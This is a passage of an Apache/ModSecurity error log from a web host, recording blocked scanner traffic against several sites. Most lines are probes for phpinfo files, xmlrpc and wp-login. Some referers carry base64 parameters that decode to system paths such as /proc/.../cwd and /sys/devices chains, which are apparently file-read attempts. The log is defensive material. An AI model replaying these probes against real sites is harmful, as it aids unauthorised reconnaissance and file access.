vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/administrator/info.php"] [unique_id "ai3yISmiP80klyS0NnoOYgABFy0"] [Sat Jun 13 18:13:21.878396 2026] [security2:error] [pid 531155:tid 531272] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/web/phpinfo.php"] [unique_id "ai3yISmiP80klyS0NnoOagABbXQ"] [Sat Jun 13 18:13:21.978120 2026] [security2:error] [pid 531155:tid 531390] [client 172.56.168.133:11366] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yISmiP80klyS0NnoOcgAAAXM"] [Sat Jun 13 18:13:21.978295 2026] [security2:error] [pid 531155:tid 531390] [client 172.56.168.133:11366] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yISmiP80klyS0NnoOcgAAAXM"] [Sat Jun 13 18:13:22.000830 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:13:22.001244 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:13:22.010302 2026] [security2:error] [pid 531155:tid 531245] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/web/info.php"] [unique_id "ai3yIimiP80klyS0NnoOdQABa1k"] [Sat Jun 13 18:13:22.142324 2026] [security2:error] [pid 531155:tid 531259] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/web/php.php"] [unique_id "ai3yIimiP80klyS0NnoOfwABDGc"] [Sat Jun 13 18:13:22.146791 2026] [access_compat:error] [pid 531155:tid 531247] [remote 57.141.14.73:32664] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:22.147231 2026] [access_compat:error] [pid 531155:tid 531247] [remote 57.141.14.73:32664] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:22.160244 2026] [security2:error] [pid 531155:tid 531350] [client 77.68.83.86:63839] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/blogs/media/media/cache.php"] [unique_id "ai3yIimiP80klyS0NnoOgQAAAUs"], referer: www.google.com [Sat Jun 13 18:13:22.274411 2026] [security2:error] [pid 531155:tid 531275] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/_inc/phpinfo.php"] [unique_id "ai3yIimiP80klyS0NnoOgwABdHc"] [Sat Jun 13 18:13:22.361504 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.11:62259] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:22.361807 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.11:62259] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:22.392462 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.242.16:60690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:13:22.392745 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.242.16:60690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:13:22.406411 2026] [security2:error] [pid 531155:tid 531239] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/includes/phpinfo.php"] [unique_id "ai3yIimiP80klyS0NnoOjQABKVM"] [Sat Jun 13 18:13:22.410450 2026] [access_compat:error] [pid 531155:tid 531258] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:22.410743 2026] [access_compat:error] [pid 531155:tid 531258] [remote 216.73.216.182:54158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:22.423576 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.102:59031] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:22.424007 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.102:59031] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:22.538357 2026] [security2:error] [pid 531155:tid 531203] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/include/phpinfo.php"] [unique_id "ai3yIimiP80klyS0NnoOnAABZi8"] [Sat Jun 13 18:13:22.558088 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:13:22.558520 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:13:22.670215 2026] [security2:error] [pid 531155:tid 531209] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/inc/phpinfo.php"] [unique_id "ai3yIimiP80klyS0NnoOogABODU"] [Sat Jun 13 18:13:22.777187 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.39:40794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:22.777686 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.39:40794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:22.802394 2026] [security2:error] [pid 531155:tid 531278] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/core/phpinfo.php"] [unique_id "ai3yIimiP80klyS0NnoOrAABPXo"] [Sat Jun 13 18:13:22.831999 2026] [security2:error] [pid 531155:tid 531193] [remote 17.241.219.146:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 146.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yIimiP80klyS0NnoOrgABDyU"] [Sat Jun 13 18:13:22.934220 2026] [security2:error] [pid 531155:tid 531158] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/core/info.php"] [unique_id "ai3yIimiP80klyS0NnoOtQABUwI"] [Sat Jun 13 18:13:22.956696 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.40:36460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:22.957131 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.40:36460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:23.066264 2026] [security2:error] [pid 531155:tid 531243] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/app/phpinfo.php"] [unique_id "ai3yIymiP80klyS0NnoOuwABJFc"] [Sat Jun 13 18:13:23.135943 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:13:23.136251 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:13:23.198264 2026] [security2:error] [pid 531155:tid 531242] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/apps/phpinfo.php"] [unique_id "ai3yIymiP80klyS0NnoOwgABS1Y"] [Sat Jun 13 18:13:23.200149 2026] [proxy:error] [pid 531155:tid 531334] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:13:23.200226 2026] [proxy_http:error] [pid 531155:tid 531334] [client 159.89.122.135:46534] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:13:23.200967 2026] [proxy:error] [pid 531155:tid 531334] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:13:23.201004 2026] [proxy_http:error] [pid 531155:tid 531334] [client 159.89.122.135:46534] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:13:23.330514 2026] [security2:error] [pid 531155:tid 531250] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/upload/phpinfo.php"] [unique_id "ai3yIymiP80klyS0NnoOxwABFF4"] [Sat Jun 13 18:13:23.415380 2026] [proxy:error] [pid 531155:tid 531365] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:13:23.415465 2026] [proxy_http:error] [pid 531155:tid 531365] [client 159.89.122.135:46536] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.sureseal.com.au/ [Sat Jun 13 18:13:23.416199 2026] [proxy:error] [pid 531155:tid 531365] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:13:23.416251 2026] [proxy_http:error] [pid 531155:tid 531365] [client 159.89.122.135:46536] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.sureseal.com.au/ [Sat Jun 13 18:13:23.462459 2026] [security2:error] [pid 531155:tid 531260] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/uploads/phpinfo.php"] [unique_id "ai3yIymiP80klyS0NnoO2wABOmg"] [Sat Jun 13 18:13:23.594346 2026] [security2:error] [pid 531155:tid 531173] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/exported/phpinfo.php"] [unique_id "ai3yIymiP80klyS0NnoO4wABgBE"] [Sat Jun 13 18:13:23.627669 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9kZXZpY2UvZHJpdmVyL0xOWFNMUEJOOjAw [Sat Jun 13 18:13:23.627949 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9kZXZpY2UvZHJpdmVyL0xOWFNMUEJOOjAw [Sat Jun 13 18:13:23.701256 2026] [proxy:error] [pid 531155:tid 531363] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:13:23.701315 2026] [proxy_http:error] [pid 531155:tid 531363] [client 159.89.122.135:34738] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:13:23.702400 2026] [proxy:error] [pid 531155:tid 531363] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:13:23.702449 2026] [proxy_http:error] [pid 531155:tid 531363] [client 159.89.122.135:34738] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:13:23.726189 2026] [security2:error] [pid 531155:tid 531280] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/backup/phpinfo.php"] [unique_id "ai3yIymiP80klyS0NnoO6wABVHw"] [Sat Jun 13 18:13:23.857901 2026] [security2:error] [pid 531155:tid 531160] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/back/phpinfo.php"] [unique_id "ai3yIymiP80klyS0NnoO8QABXwQ"] [Sat Jun 13 18:13:23.889760 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.86:29542] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:23.890193 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.86:29542] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:23.891418 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.80:39289] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:23.891704 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.80:39289] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:23.989452 2026] [security2:error] [pid 531155:tid 531215] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/bak/phpinfo.php"] [unique_id "ai3yIymiP80klyS0NnoO_QABJjs"] [Sat Jun 13 18:13:24.071040 2026] [security2:error] [pid 531155:tid 531274] [remote 50.87.144.107:37862] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mrbradgoreski.com"] [uri "/wp-login.php"] [unique_id "ai3yJCmiP80klyS0NnoO_wABD3Y"] [Sat Jun 13 18:13:24.121390 2026] [security2:error] [pid 531155:tid 531275] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/.backup/phpinfo.php"] [unique_id "ai3yJCmiP80klyS0NnoPBAABTHc"] [Sat Jun 13 18:13:24.121423 2026] [security2:error] [pid 531155:tid 531398] [client 77.68.83.86:65503] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/cache/cache/cache.php"] [unique_id "ai3yJCmiP80klyS0NnoPBQAAAXs"], referer: www.google.com [Sat Jun 13 18:13:24.169095 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2U= [Sat Jun 13 18:13:24.169560 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 